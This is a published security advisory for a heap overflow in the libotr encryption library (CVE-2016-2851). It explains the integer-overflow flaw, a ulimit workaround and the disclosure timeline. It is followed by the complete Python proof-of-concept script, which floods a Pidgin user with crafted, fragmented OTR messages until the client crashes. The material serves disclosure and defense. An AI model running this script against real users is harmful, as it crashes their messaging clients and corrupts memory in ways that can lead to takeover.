X41 D-Sec GmbH Security Advisory: X41-2016-001

Memory Corruption Vulnerability in "libotr"
===========================================

Overview
--------
Severity Rating: high
Confirmed Affected Version: 4.1.0 and below
Confirmed Patched Version: libotr 4.1.1
Vendor: OTR Development Team
Vendor URL: https://otr.cypherpunks.ca
Vendor Reference: OTR Security Advisory 2016-01
Vector: Remote
Credit: X41 D-Sec GmbH, Markus Vervier
Status: public
CVE: CVE-2016-2851
CVSS Score: 8.1 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/

Summary and Impact
------------------
A remote attacker may crash or execute arbitrary code in libotr by
sending large OTR messages.
While processing specially crafted messages, attacker controlled data on
the heap is written out of bounds.
No special user interaction or authorization is necessary in default
configurations.

Product Description
-------------------
Off-the-Record (OTR) Messaging is a cryptographic protocol used in
well-known instant messaging clients such as Pidgin, ChatSecure, Adium
and others. It is designed to work on top of existing protocols and used
worldwide to provide secure communication in insecure environments.
OTR is regarded as highly secure and according to documents revealed by
Edward Snowden one of the protocols that the NSA is not able to decrypt
via cryptanalysis.
The most commonly used implementation of OTR is "libotr" which is a pure
C code implementation of the OTR protocol.

Analysis
--------
During a manual code review X41 D-Sec GmbH discovered a remotely
exploitable vulnerability in libotr.

By sending large messages, an integer overflow can be triggered which
subsequently leads to a heap overflow on 64 bit architectures.

When a message of type OTRL_MSGSTATE_DATA is received during an
established OTR conversation, this message is passed to function
otrl_proto_accept_data in src/message.c line 1347:

  case OTRL_MSGSTATE_ENCRYPTED:
    extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES);
    err = otrl_proto_accept_data(&plaintext, &tlvs, context,
                      message, &flags, extrakey);

After base64 decoding the message and reading various values from it,
the length of a payload is read into a variable of type "unsigned int"
in file proto.c line 784:

  read_int(datalen);

It is checked that the message buffer will contain at least a "datalen"
number of bytes using read_int in proto.c line 785:

  require_len(datalen);

The macros "read_int" and "required_len" are defined in src/serial.h:

  #define require_len(l) do { \
    if (lenp < (l)) goto invval; \
      } while(0)

  #define read_int(x) do { \
    require_len(4); \
    (x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] <<
8) | bufp[3]; \
    bufp += 4; lenp -= 4; \
      } while(0)

4 bytes are read from the message buffer and interpreted as unsigned int
value.

Subsequently a buffer of size datalen+1 is allocated using malloc
in proto.c line 786:

    data = malloc(datalen+1);
    if (!data) {
        err = gcry_error(GPG_ERR_ENOMEM);
        goto err;
    }

Now data from the message is copied into this buffer using memmove in
line 791:

    memmove(data, bufp, datalen);

The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is
read from the message buffer. As datalen is of size 32-bit (unsigned
int) the operation "datalen+1" will wrap around before being passed to
malloc.
This will effectively result in a zero allocation ( malloc(0) ) which is
valid in common implementations of malloc on the x86_64 architecture.
As no addition is done in the value passed to the call to memmove, 4
gigabytes of data are copied out of bounds to the heap location pointed
to by data.

Proof of Concept
----------------
In order to successfully trigger the vulnerability, an attacker must be
able to send a data message of more than 5.5 gigabytes to a victim in
order to pass the check "require_len(datalen)".
Due to the support of fragmented OTR messages assembled by libotr this
is possible in practice. By sending 275 messages of size 20MB each, X41
was able to make libotr process such a data message successfully on a
system with 8GB of ram and 15GB of swap space.
As data types for lenp and other lengths of the message are 64 bit large
size_t types on x86_64 architectures huge messages of multiple gigabytes
are possible.
Sending such a message to a pidgin client took only a few minutes on a
fast network connection without visible signs of any attack to a user.

A proof of concept triggering a heap overwrite and crash in the
pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux
architectures is available[1].

The crash occurs due to the overwrite hitting unmapped memory. Using
techniques such as heap grooming, X41 was able to inflate the heap to
more than 4GB and overwrite function pointers and arguments on the heap
in order to take over control flow. A working exploit will not be
published at this time.

Interaction by users beyond having enabled OTR is not necessary as OTR
sessions are automatically established with anyone by default in Pidgin
and other common software using libotr. This also applies to
unauthorized contacts in most default configurations.

Workarounds
-----------
As a temporary workaround on Linux and BSD systems, the amount of memory
available to the process running libotr may be limited to less than 4GB
via ulimit.

About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus
on application code reviews, design review and security testing. X41
D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers
in various industries such as finance, software development and public
institutions.

Timeline
--------
2016-02-17  Discovery during a manual code review of "libotr" version 4.1.0
2016-02-17  Initial PoC
2016-02-18  Vendor contacted
2016-02-18  Vulnerability confirmed by vendor
2016-03-03  Vendor patch available
2016-03-04  CVE requested
2016-03-06  CVE-2016-2851 assigned
2016-03-09  Embargo lifted and disclosure

References
----------
[1]
https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/otr-heap-overwrite-poc.py
-- 
X41 D-SEC GmbH, Dennewartstr. 25-27, D-52068 Aachen
T: +49 241 9809418-0, Fax: -9
Unternehmenssitz: Aachen, Amtsgericht Aachen: HRB19989
Geschäftsführer: Markus Vervier




-- otr-heap-overwrite-poc.py --

#!/usr/bin/python -u
#
### PoC libotr heap overwrite on Pidgin
### 2016-02-17 Markus Vervier
### X41 D-Sec GmbH

### initial code taken from pyxmpp examples (echobot.py)

### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger)

### On a loopback interface the exploit took several minutes,
### using XMPP stream compression this could be reduced massively

### pyxmpp does not support it
### We used XMPP connections without TLS to not further complicate the setup

### USAGE
### 
### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest"

### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin)
### 2. Disconnect the attacker account
### 3. Fire up this script and let it connect with the attacker account credentials
### 4. Send a message from victim to attacker
### 5. Wait until message sending is complete, pidgin should crash

### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC
### !!! If we would implement full OTR in this script we could send the bad message directly
### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags

import sys
import logging
import locale
import codecs
import os, signal
import time
import base64

def ignore_signal_pipe(signum, frame):
    print 'signal pipe caught -- IGNORING'

signal.signal(signal.SIGPIPE, ignore_signal_pipe)

from struct import *
from pyxmpp.all import JID,Iq,Presence,Message,StreamError
from pyxmpp.jabber.client import JabberClient
from pyxmpp.interface import implements
from pyxmpp.interfaces import *
from pyxmpp.streamtls import TLSSettings
from enum import Enum

class EchoHandler(object):
    """Provides the actual 'echo' functionality.

    Handlers for presence and message stanzas are implemented here.
    """

    implements(IMessageHandlersProvider, IPresenceHandlersProvider)
    
    def __init__(self, client):
        """Just remember who created this."""
        self.client = client

    def get_message_handlers(self):
        """Return list of (message_type, message_handler) tuples.

        The handlers returned will be called when matching message is received
        in a client session."""
        return [
            ("normal", self.message),
            ]

    def get_presence_handlers(self):
        """Return list of (presence_type, presence_handler) tuples.

        The handlers returned will be called when matching presence stanza is
        received in a client session."""
        return [
            (None, self.presence),
            ("unavailable", self.presence),
            ("subscribe", self.presence_control),
            ("subscribed", self.presence_control),
            ("unsubscribe", self.presence_control),
            ("unsubscribed", self.presence_control),
            ]

    def message(self,stanza):
        """Message handler for the component.

        Echoes the message back if its type is not 'error' or
        'headline', also sets own presence status to the message body. Please
        note that all message types but 'error' will be passed to the handler
        for 'normal' message unless some dedicated handler process them.

        :returns: `True` to indicate, that the stanza should not be processed
        any further."""
        subject=stanza.get_subject()
        body=stanza.get_body()
        t=stanza.get_type()
        m = 0 
        print u'Message from %s received.' % (unicode(stanza.get_from(),)),
        if subject:
            print u'Subject: "%s".' % (subject,),
        if body:
            print u'Body: "%s".' % (body,),
        if t:
            print u'Type: "%s".' % (t,)
        else:
            print u'Type: "normal".'
        if stanza.get_type()=="headline":
            # 'headline' messages should never be replied to
            return True
        # record instance tag
        if body[:9] == u'?OTR:AAMD':
            (self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):])
            print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") )
            self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag)
        
        return m

    def b64maxlen(self, chars):
        return 1 + (4 * chars / 3)

    def parse_aamc(self, msg):
        maxlen = self.b64maxlen(8) # 4 byte integer
        print "maxlen %u" % (maxlen)
        tmp = msg[0:maxlen]
        padding = ""
        if maxlen % 4 > 1:
            padding = "="*(4-(maxlen % 4))
        tmp += padding
        print "decoding: "+tmp
        packed = base64.b64decode(tmp)
#        return unpack("I", packed[0:4])
        return (packed[0:4], packed[4:8]) # their tag, our tag

    def initial_body(self, instance_tag, our_tag):
        ret = "?OTR:AAMD";
        raw = b''
        print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex"))
        #dirty hack
        raw += our_tag # sender_nstance_id
        raw += instance_tag # receiver_id
        raw += "D" # dummy flags
        raw += pack("I", 0x1) # sender key id
        raw += pack("I", 0x2) # recipient key id
        raw += pack("!I", 10) # len next_y
  raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;)
        raw += "12345678" # reveal sig dummy
        # yeah overflow!
        raw += pack("I", 0xFFFFFFFF); # datalen

        ret += base64.b64encode(raw+"A"*(57-len(raw)))
        return ret

    def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag):
        print "G-FUNK!"

        # this should result in about 0xFFFFFFFF times "A" base64 encoded        
        len_msg = 5726623060
        # fix frag size for base64
        frag_size = (frag_size / 4) * 4

        frag_msg = "QUFB"*(frag_size / 4)

        n = len_msg / frag_size 
        # does not evenly divide?
        if len_msg % frag_size > 0:
            n += 1
        k = 1
        n += 1 # initialbody adds another frame
        initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag))
        print "first fragment: "+initialbody
        m = Message(
                to_jid=stanza.get_from(),
                from_jid=stanza.get_to(),
                stanza_type=stanza.get_type(),
                subject="foo",
                body=initialbody)
        self.client.stream.send(m)
        k += 1
        print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n)
        cur_pos = 0
        while(cur_pos < len_msg):
            body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg)
            m = Message(
                to_jid=stanza.get_from(),
                from_jid=stanza.get_to(),
                stanza_type=stanza.get_type(),
                subject="foo",
                body=body)
            print "cur_pos %u of %u" % (cur_pos, len_msg)
            self.client.stream.send(m)
            k += 1
            cur_pos = frag_size * (k-2)
            time.sleep(0.9)
        print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg)

 
    def presence(self,stanza):
        """Handle 'available' (without 'type') and 'unavailable' <presence/>."""
        msg=u"%s has become " % (stanza.get_from())
        t=stanza.get_type()
        if t=="unavailable":
            msg+=u"unavailable"
        else:
            msg+=u"available"

        show=stanza.get_show()
        if show:
            msg+=u"(%s)" % (show,)

        status=stanza.get_status()
        if status:
            msg+=u": "+status
        print msg

    def presence_control(self,stanza):
        """Handle subscription control <presence/> stanzas -- acknowledge
        them."""
        msg=unicode(stanza.get_from())
        t=stanza.get_type()
        if t=="subscribe":
            msg+=u" has requested presence subscription."
        elif t=="subscribed":
            msg+=u" has accepted our presence subscription request."
        elif t=="unsubscribe":
            msg+=u" has canceled his subscription of our."
        elif t=="unsubscribed":
            msg+=u" has canceled our subscription of his presence."

        print msg

        return stanza.make_accept_response()


class VersionHandler(object):
    """Provides handler for a version query.
    
    This class will answer version query and announce 'jabber:iq:version' namespace
    in the client's disco#info results."""
    
    implements(IIqHandlersProvider, IFeaturesProvider)

    def __init__(self, client):
        """Just remember who created this."""
        self.client = client

    def get_features(self):
        """Return namespace which should the client include in its reply to a
        disco#info query."""
        return ["jabber:iq:version"]

    def get_iq_get_handlers(self):
        """Return list of tuples (element_name, namespace, handler) describing
        handlers of <iq type='get'/> stanzas"""
        return [
            ("query", "jabber:iq:version", self.get_version),
            ]

    def get_iq_set_handlers(self):
        """Return empty list, as this class provides no <iq type='set'/> stanza handler."""
        return []

    def get_version(self,iq):
        """Handler for jabber:iq:version queries.

        jabber:iq:version queries are not supported directly by PyXMPP, so the
        XML node is accessed directly through the libxml2 API.  This should be
        used very carefully!"""
        iq=iq.make_result_response()
        q=iq.new_query("jabber:iq:version")
        q.newTextChild(q.ns(),"name","Echo component")
        q.newTextChild(q.ns(),"version","1.0")
        return iq

class Client(JabberClient):
    """Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient`
    class as base. That class provides basic stream setup (including
    authentication) and Service Discovery server. It also does server address
    and port discovery based on the JID provided."""

    def __init__(self, jid, password, tls_cacerts):
        # if bare JID is provided add a resource -- it is required
        if not jid.resource:
            jid=JID(jid.node, jid.domain, "attacktest")

        if tls_cacerts:
            if tls_cacerts == 'tls_noverify':
                tls_settings = TLSSettings(require = True, verify_peer = False)
            else:
                tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts)
        else:
            tls_settings = None

        # setup client with provided connection information
        # and identity data
        JabberClient.__init__(self, jid, password,
                disco_name="PyXMPP example: echo bot", disco_type="bot",
                tls_settings = tls_settings)

        # add the separate components
        self.interface_providers = [
            VersionHandler(self),
            EchoHandler(self),
            ]

    def stream_state_changed(self,state,arg):
        """This one is called when the state of stream connecting the component
        to a server changes. This will usually be used to let the user
        know what is going on."""
        print "*** State changed: %s %r ***" % (state,arg)

    def print_roster_item(self,item):
        if item.name:
            name=item.name
        else:
            name=u""
        print (u'%s "%s" subscription=%s groups=%s'
                % (unicode(item.jid), name, item.subscription,
                    u",".join(item.groups)) )

    def roster_updated(self,item=None):
        if not item:
            print u"My roster:"
            for item in self.roster.get_items():
                self.print_roster_item(item)
            return
        print u"Roster item updated:"
        self.print_roster_item(item)

# XMPP protocol is Unicode-based to properly display data received
# _must_ convert it to local encoding or UnicodeException may be raised
locale.setlocale(locale.LC_CTYPE, "")
encoding = locale.getlocale()[1]
if not encoding:
    encoding = "us-ascii"
sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace")
sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace")


# PyXMPP uses `logging` module for its debug output
# applications should set it up as needed
logger = logging.getLogger()
logger.addHandler(logging.StreamHandler())
logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity

if len(sys.argv) < 3:
    print u"Usage:"
    print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],)
    print "example:"
    print "\t%s test@localhost verysecret" % (sys.argv[0],)
    sys.exit(1)

print u"creating client..."

c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None)

print u"connecting..."
c.connect()

print u"looping..."
try:
    # Component class provides basic "main loop" for the applitation
    # Though, most applications would need to have their own loop and call
    # component.stream.loop_iter() from it whenever an event on
    # component.stream.fileno() occurs.
    c.loop(1)
except IOError, e:
    if e.errno == errno.EPIPE:
    # IGNORE EPIPE error
        print "PIPE ERROR -- IGNORING"
    else:
        pass


except KeyboardInterrupt:
    print u"disconnecting..."
    c.disconnect()

print u"exiting..."
# vi: sts=4 et sw=4